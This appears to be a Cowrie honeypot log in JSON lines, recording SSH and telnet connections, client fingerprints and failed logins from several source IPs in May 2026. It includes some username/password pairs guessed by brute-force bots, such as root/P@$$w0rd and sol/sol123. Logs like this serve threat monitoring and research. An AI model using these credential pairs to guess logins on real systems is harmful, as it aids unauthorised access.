{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:d5:f1:5f:ed:82:d2:e7:d0:ba:38:76:33:43:67:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9R0m0i5Q2lV/n7vpYa5F3TH6nqWH+wtWiWc+zGZCd1KBiBTUJOghlNvRRntdJqzSunGKtHHP9qyeEPdaoigc41tdcgzjKh/nW0Qdh3/yjScc7rBH7MGt0U/EZNmCFIHlgBQGqOR+nU8KCNu70d9KEzPb7HijZp8ed9T1wTcz2WYrZMjAUpeW+/duQzN7NLLASGGb0DnAcs5ZolCpJhHZ/4nNcXfj31dOkRtGb5EQGFdYZ3SE/MgoG5fyD0cmTd34YHSghh1Yx/mOtUTeUIwroXq4tMd4laYwfeJQ5bkog7BoTM6b7qcIeSaMKeDM7QnwBDR8qiUHKJoVFwecFkczgEMm2EErQRg9x8wIYPn6+pokYifG+M7srXeaOjzPvJy+4uhrb7fPhrD73QsKVIQcvp8Sd+BY02kDNJ8gH71OYK6hDE7/BPG2BtmwceGtvJUKOKlAKpcKDevKREnVvFSBO97k/wun9qBi1KKdtS83l9uvswdJqvUlUpC9edeVhDrIlTEpgpvy9oPRMADXJjtDtSP8dXFS5w4RY97a/sot8EMo0edKFsuZeIS83/Cqeb+qRDtf/vdoiBO1GVryvHTke0O3JeedZx8orjfP3fUB+hoIKfrQMLlX9XK8gdtj6VYFQ39JZFiZGd3NrfC8QEojMvmSh2wDMusTQeDyRbeV3Xw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:08:43.990763Z","src_ip":"31.42.190.77","session":"e911b5bb3b1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:7f:51:4d:1e:2a:54:c6:de:48:73:76:10:d1:c5:6f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDLLO2lu4dIy5u/nEApjKQBlfA0f/9ZYydHaKKZ9RLze","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a1:7f:51:4d:1e:2a:54:c6:de:48:73:76:10:d1:c5:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:08:44.111686Z","src_ip":"31.42.190.77","session":"e911b5bb3b1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:7f:51:4d:1e:2a:54:c6:de:48:73:76:10:d1:c5:6f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDLLO2lu4dIy5u/nEApjKQBlfA0f/9ZYydHaKKZ9RLze","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:08:44.116315Z","src_ip":"31.42.190.77","session":"e911b5bb3b1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:bd:bf:63:5e:46:fb:51:21:f3:cc:39:7e:a3:98:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8tZCbnTXlVqnehnEuJA51AaofG6EeuhQVsI05CHTNd6xv3a8HsQpJ7xwrwpgyPNaIs0joXoIhIXop31ngGSAfrh+14CUDOaLAdIhs3uyI+uvS3Pe4tWHWGCJGTgsI7xp+vF7P2YRTKi+BY81LRITqgFKwJYpJ5w09rQb9RdRgtaZiVOAMYj/nslPUt9SORx6PRKcsmctQ1g6WTN5Sroe73Eh3FlzSCPcmk/mG9Fj/lezvuBR/Mxz03rAub0Rcrdw9ciF6E26tFo2nHyP9gUbdvBbmGCrJ3YoEYSRCJGJfPjQE59gwt3/OcUnv0rALlb4Tb2d07PeNGcjsHRvc6D+J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:bd:bf:63:5e:46:fb:51:21:f3:cc:39:7e:a3:98:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:08:44.239734Z","src_ip":"31.42.190.77","session":"e911b5bb3b1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:bd:bf:63:5e:46:fb:51:21:f3:cc:39:7e:a3:98:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8tZCbnTXlVqnehnEuJA51AaofG6EeuhQVsI05CHTNd6xv3a8HsQpJ7xwrwpgyPNaIs0joXoIhIXop31ngGSAfrh+14CUDOaLAdIhs3uyI+uvS3Pe4tWHWGCJGTgsI7xp+vF7P2YRTKi+BY81LRITqgFKwJYpJ5w09rQb9RdRgtaZiVOAMYj/nslPUt9SORx6PRKcsmctQ1g6WTN5Sroe73Eh3FlzSCPcmk/mG9Fj/lezvuBR/Mxz03rAub0Rcrdw9ciF6E26tFo2nHyP9gUbdvBbmGCrJ3YoEYSRCJGJfPjQE59gwt3/OcUnv0rALlb4Tb2d07PeNGcjsHRvc6D+J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:08:44.243547Z","src_ip":"31.42.190.77","session":"e911b5bb3b1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:08:44.364733Z","src_ip":"31.42.190.77","session":"e911b5bb3b1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":55290,"dst_ip":"10.17.0.5","dst_port":22,"session":"1038437835b6","protocol":"ssh","message":"New connection: 103.15.226.202:55290 (10.17.0.5:22) [session: 1038437835b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:09:08.555966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:09:08.561798Z","src_ip":"103.15.226.202","session":"1038437835b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:09:08.806137Z","src_ip":"103.15.226.202","session":"1038437835b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$$w0rd","message":"login attempt [root/P@$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:09:09.533659Z","src_ip":"103.15.226.202","session":"1038437835b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:09:10.782763Z","src_ip":"103.15.226.202","session":"1038437835b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":14153,"dst_ip":"159.203.135.109","dst_port":22,"session":"09a6b42263fd","protocol":"ssh","message":"New connection: 193.24.211.100:14153 (159.203.135.109:22) [session: 09a6b42263fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:09:30.876230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:09:30.880898Z","src_ip":"193.24.211.100","session":"09a6b42263fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:09:31.062255Z","src_ip":"193.24.211.100","session":"09a6b42263fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"user","message":"login attempt [admin/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:09:31.788127Z","src_ip":"193.24.211.100","session":"09a6b42263fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:09:33.001171Z","src_ip":"193.24.211.100","session":"09a6b42263fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":40004,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7d67e883b87","protocol":"ssh","message":"New connection: 2.57.122.238:40004 (10.17.0.5:22) [session: a7d67e883b87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:10:30.019733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:10:30.026731Z","src_ip":"2.57.122.238","session":"a7d67e883b87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:10:30.131195Z","src_ip":"2.57.122.238","session":"a7d67e883b87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol123","message":"login attempt [sol/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:10:30.446147Z","src_ip":"2.57.122.238","session":"a7d67e883b87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:10:31.553855Z","src_ip":"2.57.122.238","session":"a7d67e883b87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":10926,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1c9e9189581","protocol":"telnet","message":"New connection: 212.55.149.117:10926 (10.17.0.5:23) [session: c1c9e9189581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:11:32.097873Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.230","src_port":63006,"dst_ip":"159.203.135.109","dst_port":22,"session":"5debdfd9c98f","protocol":"ssh","message":"New connection: 205.210.31.230:63006 (159.203.135.109:22) [session: 5debdfd9c98f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:01.957157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:02.914887Z","src_ip":"205.210.31.230","session":"5debdfd9c98f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:04.007488Z","src_ip":"205.210.31.230","session":"5debdfd9c98f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:12.263487Z","src_ip":"205.210.31.230","session":"5debdfd9c98f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.32947587966919,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:33.427245Z","src_ip":"212.55.149.117","session":"c1c9e9189581","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":54864,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d8975dbbcbd","protocol":"ssh","message":"New connection: 103.15.226.202:54864 (10.17.0.5:22) [session: 5d8975dbbcbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:44.699527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:44.703889Z","src_ip":"103.15.226.202","session":"5d8975dbbcbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:44.952572Z","src_ip":"103.15.226.202","session":"5d8975dbbcbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":45804,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ae3839d3775","protocol":"ssh","message":"New connection: 2.57.122.238:45804 (10.17.0.5:22) [session: 6ae3839d3775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:45.628039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:45.640404Z","src_ip":"2.57.122.238","session":"6ae3839d3775","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"JGm2@9kmSh39kmSAMK","message":"login attempt [root/JGm2@9kmSh39kmSAMK] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:45.699924Z","src_ip":"103.15.226.202","session":"5d8975dbbcbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:45.739903Z","src_ip":"2.57.122.238","session":"6ae3839d3775","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:46.040945Z","src_ip":"2.57.122.238","session":"6ae3839d3775","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:46.951593Z","src_ip":"103.15.226.202","session":"5d8975dbbcbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:47.143057Z","src_ip":"2.57.122.238","session":"6ae3839d3775","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":9552,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0d27c09aaff","protocol":"ssh","message":"New connection: 2.57.121.25:9552 (10.17.0.5:22) [session: d0d27c09aaff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:50.627637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:50.631954Z","src_ip":"2.57.121.25","session":"d0d27c09aaff","protocol":"ssh"}
